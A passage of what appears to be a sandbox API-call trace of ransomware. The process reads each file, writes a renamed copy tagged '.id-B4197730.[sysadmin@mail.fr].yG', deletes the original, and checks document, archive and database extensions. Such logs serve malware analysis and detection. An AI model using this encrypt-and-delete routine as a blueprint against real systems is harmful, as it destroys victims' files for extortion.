	[0041.485] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x133, lpOverlapped=0x0) returned 1
	[0041.494] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x140, lpOverlapped=0x0) returned 1
	[0041.495] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.495] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0041.505] SetEndOfFile (hFile=0x2fc) returned 1
	[0041.505] CloseHandle (hObject=0x2fc) returned 1
	[0041.506] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.506] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.506] CloseHandle (hObject=0x2f0) returned 1
	[0041.506] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0041.507] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1
	[0041.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.507] lstrlenW (lpString=".doc") returned 4
	[0041.507] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString=".docx") returned 5
	[0041.507] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.507] lstrlenW (lpString=".pdf") returned 4
	[0041.507] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString=".xls") returned 4
	[0041.507] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString=".xlsx") returned 5
	[0041.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.507] lstrlenW (lpString=".ppt") returned 4
	[0041.507] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.507] lstrlenW (lpString=".zip") returned 4
	[0041.507] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString=".rar") returned 4
	[0041.507] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.507] lstrlenW (lpString=".bz2") returned 4
	[0041.507] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.507] lstrlenW (lpString=".7z") returned 3
	[0041.507] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.507] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.507] lstrlenW (lpString=".dbf") returned 4
	[0041.507] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".1cd") returned 4
	[0041.508] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".jpg") returned 4
	[0041.508] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".doc") returned 4
	[0041.508] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString=".docx") returned 5
	[0041.508] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.508] lstrlenW (lpString=".pdf") returned 4
	[0041.508] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString=".xls") returned 4
	[0041.508] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString=".xlsx") returned 5
	[0041.508] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.508] lstrlenW (lpString=".ppt") returned 4
	[0041.508] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".zip") returned 4
	[0041.508] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString=".rar") returned 4
	[0041.508] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString=".bz2") returned 4
	[0041.508] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.508] lstrlenW (lpString=".7z") returned 3
	[0041.508] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".dbf") returned 4
	[0041.508] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".1cd") returned 4
	[0041.508] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.508] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0041.508] lstrlenW (lpString=".jpg") returned 4
	[0041.509] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.509] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.509] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.509] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0041.511] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1
	[0041.511] CloseHandle (hObject=0x2fc) returned 1
	[0041.511] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80
	[0041.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0041.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0041.516] GetLastError () returned 0x0
	[0041.516] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0041.597] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0041.599] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.599] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.599] SetEndOfFile (hFile=0x2e8) returned 1
	[0041.599] CloseHandle (hObject=0x2e8) returned 1
	[0041.602] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.602] SetEndOfFile (hFile=0x2fc) returned 1
	[0041.603] CloseHandle (hObject=0x2fc) returned 1
	[0041.603] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.604] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1
	[0041.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.604] lstrlenW (lpString=".doc") returned 4
	[0041.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString=".docx") returned 5
	[0041.604] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.604] lstrlenW (lpString=".pdf") returned 4
	[0041.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString=".xls") returned 4
	[0041.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString=".xlsx") returned 5
	[0041.604] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.604] lstrlenW (lpString=".ppt") returned 4
	[0041.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.604] lstrlenW (lpString=".zip") returned 4
	[0041.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString=".rar") returned 4
	[0041.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.604] lstrlenW (lpString=".bz2") returned 4
	[0041.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.605] lstrlenW (lpString=".7z") returned 3
	[0041.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString=".dbf") returned 4
	[0041.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString=".1cd") returned 4
	[0041.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString=".jpg") returned 4
	[0041.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString=".doc") returned 4
	[0041.605] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString=".docx") returned 5
	[0041.605] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.605] lstrlenW (lpString=".pdf") returned 4
	[0041.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString=".xls") returned 4
	[0041.605] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString=".xlsx") returned 5
	[0041.605] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.605] lstrlenW (lpString=".ppt") returned 4
	[0041.605] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.605] lstrlenW (lpString=".zip") returned 4
	[0041.605] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString=".rar") returned 4
	[0041.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.605] lstrlenW (lpString=".bz2") returned 4
	[0041.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.605] lstrlenW (lpString=".7z") returned 3
	[0041.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.606] lstrlenW (lpString=".dbf") returned 4
	[0041.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.606] lstrlenW (lpString=".1cd") returned 4
	[0041.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0041.606] lstrlenW (lpString=".jpg") returned 4
	[0041.606] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.606] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.606] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0041.606] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1
	[0041.606] CloseHandle (hObject=0x2fc) returned 1
	[0041.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80
	[0041.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0041.606] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.606] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0041.682] GetLastError () returned 0x0
	[0041.682] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0041.966] WriteFile (in: hFile=0x340, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0041.967] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.967] WriteFile (in: hFile=0x340, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.967] SetEndOfFile (hFile=0x340) returned 1
	[0041.968] CloseHandle (hObject=0x340) returned 1
	[0041.968] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.968] SetEndOfFile (hFile=0x2fc) returned 1
	[0041.969] CloseHandle (hObject=0x2fc) returned 1
	[0041.969] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.970] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1
	[0041.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.970] lstrlenW (lpString=".doc") returned 4
	[0041.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString=".docx") returned 5
	[0041.970] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.970] lstrlenW (lpString=".pdf") returned 4
	[0041.970] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString=".xls") returned 4
	[0041.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString=".xlsx") returned 5
	[0041.970] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.970] lstrlenW (lpString=".ppt") returned 4
	[0041.970] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.970] lstrlenW (lpString=".zip") returned 4
	[0041.970] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString=".rar") returned 4
	[0041.970] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.970] lstrlenW (lpString=".bz2") returned 4
	[0041.970] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.970] lstrlenW (lpString=".7z") returned 3
	[0041.970] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.970] lstrlenW (lpString=".dbf") returned 4
	[0041.970] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.970] lstrlenW (lpString=".1cd") returned 4
	[0041.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".jpg") returned 4
	[0041.971] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".doc") returned 4
	[0041.971] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString=".docx") returned 5
	[0041.971] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.971] lstrlenW (lpString=".pdf") returned 4
	[0041.971] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString=".xls") returned 4
	[0041.971] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString=".xlsx") returned 5
	[0041.971] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.971] lstrlenW (lpString=".ppt") returned 4
	[0041.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".zip") returned 4
	[0041.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString=".rar") returned 4
	[0041.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.971] lstrlenW (lpString=".bz2") returned 4
	[0041.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.971] lstrlenW (lpString=".7z") returned 3
	[0041.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".dbf") returned 4
	[0041.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".1cd") returned 4
	[0041.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0041.971] lstrlenW (lpString=".jpg") returned 4
	[0041.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.972] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.972] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0041.997] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18264) returned 1
	[0041.997] CloseHandle (hObject=0x348) returned 1
	[0041.997] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80
	[0041.997] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0041.997] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.997] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.997] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.029] GetLastError () returned 0x0
	[0042.029] ReadFile (in: hFile=0x348, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0042.100] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0042.101] ReadFile (in: hFile=0x348, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.101] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.101] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.101] CloseHandle (hObject=0x2e0) returned 1
	[0042.102] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.102] SetEndOfFile (hFile=0x348) returned 1
	[0042.103] CloseHandle (hObject=0x348) returned 1
	[0042.103] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.103] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1
	[0042.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0042.103] lstrlenW (lpString=".doc") returned 4
	[0042.103] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.103] lstrlenW (lpString=".docx") returned 5
	[0042.103] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
